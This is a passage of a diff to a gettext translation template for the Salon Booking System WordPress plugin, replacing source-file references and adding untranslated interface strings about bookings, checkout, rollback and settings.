build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:329\n-msgid \"Customize the booking reminder message\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmail\u002F_add_to_calendar.php:37\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002F_add_to_calendar.php:37\n+msgid \"iCal calendar\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_general.php:345, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:345, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:345, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:345, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:345, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:345\n-msgid \"Enable reservation follow-up\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Ftools.php:247\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:408\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table.php:7\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_my_account_content.php:91\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:117\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:204\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:247\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:408\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table.php:7\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_my_account_content.php:91\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:117\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:204\n+msgid \"ID\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_general.php:350, views\u002Fsettings\u002Ftab_general.php:434, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:350, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:434, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:350, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:434, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:350, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:434, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:350, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:434, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:350, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:434\n-msgid \"by Email\"\n+#. %1$s will be replaced by the current version, %2$s will be replaced by the version to rollback\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_tools_rollback.php:18\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_tools_rollback.php:18\n+#, php-format\n+msgid \"\"\n+\"If after the install of the %1$s version of Salon Booking you realize that \"\n+\"something goes wrong you can use this tool to restore the %2$s version. The \"\n+\"rollack process consist into three steps:\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_general.php:353, views\u002Fsettings\u002Ftab_general.php:437, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:353, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:437, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:353, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:437, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:353, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:437, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:353, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:437, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:353, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:437\n-msgid \"by SMS\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_checkout.php:32\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:32\n+msgid \"\"\n+\"If enabled all users will checkout as a guest and no account will be created \"\n+\"for them.\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_general.php:356, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:356, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:356, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:356, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:356, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:356\n-msgid \"Timing\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:434\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:434\n+msgid \"\"\n+\"If enabled an email\u002Fsms will be sent automatically to the customer one day \"\n+\"after the last visit to the salon.\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_general.php:376, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:376, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:376, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:376, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:376, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:376\n-msgid \"Customer habit\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:203\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:203\n+msgid \"If enabled the assistant selection step will be hidden on front-end.\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_general.php:384, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:384, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:384, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:384, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:384, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:384\n-msgid \"We'll send a message two days before the \u003Cstrong>next estimated booking\u003C\u002Fstrong>\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fservice.php:95\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:95\n+msgid \"If enabled this service will never be displayed on front-end\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_general.php:390, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:390, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:390, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:390, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:390, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:390\n-msgid \"After the last appointment\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_checkout.php:24\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:24\n+msgid \"\"\n+\"If enabled users can checkout as a guest and no account will be created for \"\n+\"them.\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_general.php:399, views\u002Fsettings\u002Ftab_general.php:458, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:399, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:458, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:399, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:458, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:399, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:458, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:399, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:458, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:399, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:458\n-msgid \"Custom message (max 500 characters)\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:44\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:44\n+msgid \"If enabled you need to setup one of the available payments methods.\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_general.php:405, views\u002Fsettings\u002Ftab_general.php:464, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:405, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:464, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:405, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:464, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:405, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:464, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:405, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:464, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:405, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:464\n-msgid \"write message\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_bot_protection.php:90\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_bot_protection.php:90\n+msgid \"\"\n+\"If enabled, bookings will be allowed when Google's service is down. \"\n+\"Recommended for high-availability sites.\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_general.php:409, views\u002Fsettings\u002Ftab_general.php:469, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:409, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:469, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:409, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:469, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:409, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:469, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:409, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:469, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:409, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:469\n-msgid \"You can use this dynamic tags: [NAME], [SALON NAME]\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fservice.php:208\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:208\n+msgid \"\"\n+\"If enabled, create a block between two consecutive reservations for this \"\n+\"service\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_general.php:419, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:419, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:419, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:419, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:419, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:419\n-msgid \"If enabled an email\u002Fsms will be sent automatically to the customer one day after the last visit to the salon.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fservice.php:255\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:255\n+msgid \"\"\n+\"If enabled, new bookings for this service are locked for the time range \"\n+\"defined in the settings.\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_general.php:425, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:425, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:425, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:425, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:425, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:425\n-msgid \"Enable feedback submission request\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fservice.php:89\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:89\n+msgid \"\"\n+\"If enabled, when a customer choose this service no other services can be \"\n+\"booked during the same reservation\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_general.php:443, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:443, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:443, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:443, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:443, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:443\n-msgid \"Feedback submission URL\"\n+#. %s is the website administrator email address\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FStep.php:330\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FStep.php:330\n+#, php-format\n+msgid \"\"\n+\"If the problem persists after enabling cookies and refreshing this page, \"\n+\"please report this issue to the website administrator at %s\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_general.php:450, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:450, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:450, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:450, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:450, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:450\n-msgid \"Subject for feedback mail\"\n+#. %1$s will be replaced by the phone number, %2$s will be replaced by the email\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_salon_thankyou_alert.php:20\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_thankyou_alert.php:20\n+#, php-format\n+msgid \"\"\n+\"If you don't receive any news from us or you need to change your reservation \"\n+\"please call the %1$s or send an e-mail to %2$s\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_general.php:483, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:483, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:483, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:483, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:483, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:483\n-msgid \"Address auto-fill\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_documentation.php:46\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_documentation.php:46\n+msgid \"If you need more assistance o report a bug follow these instructions:\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_general.php:492, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:492, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:492, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:492, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:492, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:492\n-msgid \"Google Places API Key\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:276\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:276\n+msgid \"If you need to add or manage your staff members.\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_general.php:500, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_general.php:500, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:500, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_general.php:500, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_general.php:500, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_general.php:500\n-msgid \"Zapier\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_payments.php:32\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_payments.php:43\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:74\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:85\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments.php:32\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments.php:43\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: 